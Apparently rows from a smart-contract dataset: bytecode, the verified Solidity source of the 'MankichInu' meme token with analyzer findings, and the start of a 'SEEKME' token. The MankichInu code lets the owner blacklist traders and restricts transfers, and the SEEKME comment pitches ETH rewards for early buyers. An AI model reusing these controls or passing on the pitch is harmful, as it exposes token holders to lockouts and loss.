f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610c9760228361106a565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610cfd60268361106a565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d6360288361106a565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610dc960258361106a565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e2f60248361106a565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e9560258361106a565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610ef78161110f565b82525050565b610f0681611119565b82525050565b6000602082019050610f216000830184610bdc565b92915050565b60006020820190508181036000830152610f418184610beb565b905092915050565b60006020820190508181036000830152610f6281610c24565b9050919050565b60006020820190508181036000830152610f8281610c8a565b9050919050565b60006020820190508181036000830152610fa281610cf0565b9050919050565b60006020820190508181036000830152610fc281610d56565b9050919050565b60006020820190508181036000830152610fe281610dbc565b9050919050565b6000602082019050818103600083015261100281610e22565b9050919050565b6000602082019050818103600083015261102281610e88565b9050919050565b600060208201905061103e6000830184610eee565b92915050565b60006020820190506110596000830184610efd565b92915050565b600081519050919050565b600082825260208201905092915050565b60006110868261110f565b91506110918361110f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156110c6576110c5611159565b5b828201905092915050565b60006110dc826110ef565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611144578082015181840152602081019050611129565b83811115611153576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000601f19601f8301169050919050565b6111a2816110d1565b81146111ad57600080fd5b50565b6111b98161110f565b81146111c457600080fd5b5056fea26469706673582212204b620daedffc0ed338b6b62f783dbec78b75308e85032ae65cf78c4878683d7c64736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 9,406 |
0x4056ef1dbc4554f718c3359c1df14ce8ddf9b098
|
/**
*Submitted for verification at Etherscan.io on 2021-11-01
*/
/*
Mankichi Inu
https://t.me/MankichInu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MankichInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MankichInu";
string private constant _symbol = "MankichInu";
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 4;
uint256 private _redisfee = 2;
//Bots
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 4;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function liftmaxtx(uint256 maxTxpc) external {
require(_msgSender() == _teamAddress);
require(maxTxpc > 0);
_maxTxAmount = _tTotal.mul(maxTxpc).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610295578063b6a4de21146102b5578063c3c8cd80146102d5578063c9567bf9146102ea578063dd62ed3e146102ff57600080fd5b8063715018a6146102385780638da5cb5b1461024d57806395d89b411461010e578063a9059cbb1461027557600080fd5b8063313ce567116100d1578063313ce567146101c55780635932ead1146101e15780636fc3eaec1461020357806370a082311461021857600080fd5b806306fdde031461010e578063095ea7b31461015057806318160ddd1461018057806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082018252600a8152694d616e6b696368496e7560b01b6020820152905161014791906118dc565b60405180910390f35b34801561015c57600080fd5b5061017061016b366004611763565b610345565b6040519015158152602001610147565b34801561018c57600080fd5b50670de0b6b3a76400005b604051908152602001610147565b3480156101b157600080fd5b506101706101c0366004611722565b61035c565b3480156101d157600080fd5b5060405160098152602001610147565b3480156101ed57600080fd5b506102016101fc36600461185b565b6103c5565b005b34801561020f57600080fd5b50610201610416565b34801561022457600080fd5b506101976102333660046116af565b610443565b34801561024457600080fd5b50610201610465565b34801561025957600080fd5b506000546040516001600160a01b039091168152602001610147565b34801561028157600080fd5b50610170610290366004611763565b6104d9565b3480156102a157600080fd5b506102016102b036600461178f565b6104e6565b3480156102c157600080fd5b506102016102d0366004611895565b61057c565b3480156102e157600080fd5b50610201610602565b3480156102f657600080fd5b50610201610638565b34801561030b57600080fd5b5061019761031a3660046116e9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103523384846109fa565b5060015b92915050565b6000610369848484610b1e565b6103bb84336103b685604051806060016040528060288152602001611ac8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f30565b6109fa565b5060019392505050565b6000546001600160a01b031633146103f85760405162461bcd60e51b81526004016103ef90611931565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461043657600080fd5b4761044081610f6a565b50565b6001600160a01b03811660009081526002602052604081205461035690610fef565b6000546001600160a01b0316331461048f5760405162461bcd60e51b81526004016103ef90611931565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610352338484610b1e565b6000546001600160a01b031633146105105760405162461bcd60e51b81526004016103ef90611931565b60005b8151811015610578576001600a600084848151811061053457610534611a78565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061057081611a47565b915050610513565b5050565b600c546001600160a01b0316336001600160a01b03161461059c57600080fd5b600081116105a957600080fd5b6105c76127106105c1670de0b6b3a764000084611073565b906110f2565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b600c546001600160a01b0316336001600160a01b03161461062257600080fd5b600061062d30610443565b905061044081611134565b6000546001600160a01b031633146106625760405162461bcd60e51b81526004016103ef90611931565b600f54600160a01b900460ff16156106bc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ef565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f83082670de0b6b3a76400006109fa565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073157600080fd5b505afa158015610745573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076991906116cc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b157600080fd5b505afa1580156107c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e991906116cc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083157600080fd5b505af1158015610845573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086991906116cc565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061089981610443565b6000806108ae6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091157600080fd5b505af1158015610925573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094a91906118ae565b5050600f805467016345785d8a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c257600080fd5b505af11580156109d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105789190611878565b6001600160a01b038316610a5c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ef565b6001600160a01b038216610abd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ef565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b825760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ef565b6001600160a01b038216610be45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ef565b60008111610c465760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ef565b6000546001600160a01b03848116911614801590610c7257506000546001600160a01b03838116911614155b15610ed357600f54600160b81b900460ff1615610d59576001600160a01b0383163014801590610cab57506001600160a01b0382163014155b8015610cc55750600e546001600160a01b03848116911614155b8015610cdf5750600e546001600160a01b03838116911614155b15610d5957600e546001600160a01b0316336001600160a01b03161480610d195750600f546001600160a01b0316336001600160a01b0316145b610d595760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103ef565b601054811115610d6857600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610daa57506001600160a01b0382166000908152600a602052604090205460ff16155b610db357600080fd5b600f546001600160a01b038481169116148015610dde5750600e546001600160a01b03838116911614155b8015610e0357506001600160a01b03821660009081526005602052604090205460ff16155b8015610e185750600f54600160b81b900460ff165b15610e66576001600160a01b0382166000908152600b60205260409020544211610e4157600080fd5b610e4c4260786119d7565b6001600160a01b0383166000908152600b60205260409020555b6000610e7130610443565b600f54909150600160a81b900460ff16158015610e9c5750600f546001600160a01b03858116911614155b8015610eb15750600f54600160b01b900460ff165b15610ed157610ebf81611134565b478015610ecf57610ecf47610f6a565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f1557506001600160a01b03831660009081526005602052604090205460ff165b15610f1e575060005b610f2a848484846112bd565b50505050565b60008184841115610f545760405162461bcd60e51b81526004016103ef91906118dc565b506000610f618486611a30565b95945050505050565b600c546001600160a01b03166108fc610f848360026110f2565b6040518115909202916000818181858888f19350505050158015610fac573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610fc78360026110f2565b6040518115909202916000818181858888f19350505050158015610578573d6000803e3d6000fd5b60006006548211156110565760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ef565b60006110606112e9565b905061106c83826110f2565b9392505050565b60008261108257506000610356565b600061108e8385611a11565b90508261109b85836119ef565b1461106c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ef565b600061106c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061130c565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061117c5761117c611a78565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111d057600080fd5b505afa1580156111e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120891906116cc565b8160018151811061121b5761121b611a78565b6001600160a01b039283166020918202929092010152600e5461124191309116846109fa565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061127a908590600090869030904290600401611966565b600060405180830381600087803b15801561129457600080fd5b505af11580156112a8573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b806112ca576112ca61133a565b6112d584848461135d565b80610f2a57610f2a60046008556002600955565b60008060006112f6611454565b909250905061130582826110f2565b9250505090565b6000818361132d5760405162461bcd60e51b81526004016103ef91906118dc565b506000610f6184866119ef565b60085415801561134a5750600954155b1561135157565b60006008819055600955565b60008060008060008061136f87611494565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113a190876114f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113d09086611533565b6001600160a01b0389166000908152600260205260409020556113f281611592565b6113fc84836115dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161144191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061146f82826110f2565b82101561148b57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114b18a600854600954611600565b92509250925060006114c16112e9565b905060008060006114d48e87878761164f565b919e509c509a509598509396509194505050505091939550919395565b600061106c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f30565b60008061154083856119d7565b90508381101561106c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ef565b600061159c6112e9565b905060006115aa8383611073565b306000908152600260205260409020549091506115c79082611533565b30600090815260026020526040902055505050565b6006546115e990836114f1565b6006556007546115f99082611533565b6007555050565b600080808061161460646105c18989611073565b9050600061162760646105c18a89611073565b9050600061163f826116398b866114f1565b906114f1565b9992985090965090945050505050565b600080808061165e8886611073565b9050600061166c8887611073565b9050600061167a8888611073565b9050600061168c8261163986866114f1565b939b939a50919850919650505050505050565b80356116aa81611aa4565b919050565b6000602082840312156116c157600080fd5b813561106c81611aa4565b6000602082840312156116de57600080fd5b815161106c81611aa4565b600080604083850312156116fc57600080fd5b823561170781611aa4565b9150602083013561171781611aa4565b809150509250929050565b60008060006060848603121561173757600080fd5b833561174281611aa4565b9250602084013561175281611aa4565b929592945050506040919091013590565b6000806040838503121561177657600080fd5b823561178181611aa4565b946020939093013593505050565b600060208083850312156117a257600080fd5b823567ffffffffffffffff808211156117ba57600080fd5b818501915085601f8301126117ce57600080fd5b8135818111156117e0576117e0611a8e565b8060051b604051601f19603f8301168101818110858211171561180557611805611a8e565b604052828152858101935084860182860187018a101561182457600080fd5b600095505b8386101561184e5761183a8161169f565b855260019590950194938601938601611829565b5098975050505050505050565b60006020828403121561186d57600080fd5b813561106c81611ab9565b60006020828403121561188a57600080fd5b815161106c81611ab9565b6000602082840312156118a757600080fd5b5035919050565b6000806000606084860312156118c357600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611909578581018301518582016040015282016118ed565b8181111561191b576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b65784516001600160a01b031683529383019391830191600101611991565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119ea576119ea611a62565b500190565b600082611a0c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a2b57611a2b611a62565b500290565b600082821015611a4257611a42611a62565b500390565b6000600019821415611a5b57611a5b611a62565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461044057600080fd5b801515811461044057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204c98e458ec6cf3afda291cd9011d24b9751afcf9dfc220343623ba3a519b251d64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,407 |
0x568da381c71782252743e28a863cdd92a9ccadd4
|
/**
*Submitted for verification at Etherscan.io on 2022-04-25
*/
//SPDX-License-Identifier: UNLICENSED
/**
"Searching for the wealth of mental battle" According to the end of the puzzle, you will get into the telegraph group and click on the reward distribution website to divide up the huge reward.
The first 200 lucky people who solve the puzzle that we posted on Twitter, please get into the telegrams and submit your erc20 wallet address on the prize distribution site, and claim your reward.
The amount of the reward will be based on the following rules. The earlier you buy, the more portions you get.
The top 10 holders who buy $Seekme will be rewarded with ETH for holding the same value of $Seekme, 11-50 holders will be rewarded with ETH for 70%, 51-100 holders will be rewarded with ETH for 30%, 101-200 holders who buy $Seekme will receive ETH rewards for holding 10% of the value of $Seekme.
Tip: Count only the value of the first buy order. The first 50 $Seekme - buying holders who enter TG within 30 minutes of launch will receive additional rewards. The answer to the puzzle is the telegraph group link.
All information is in the Telegraph group, or check out Twitter for more information
Mystery: When is the online release of The Batman? Please fill in "_"
TG: https://t.me/"_"eth
https://twitter.com/seekme_eth
Twitter: https://twitter.com/findme
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SEEKME is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Seek Me";
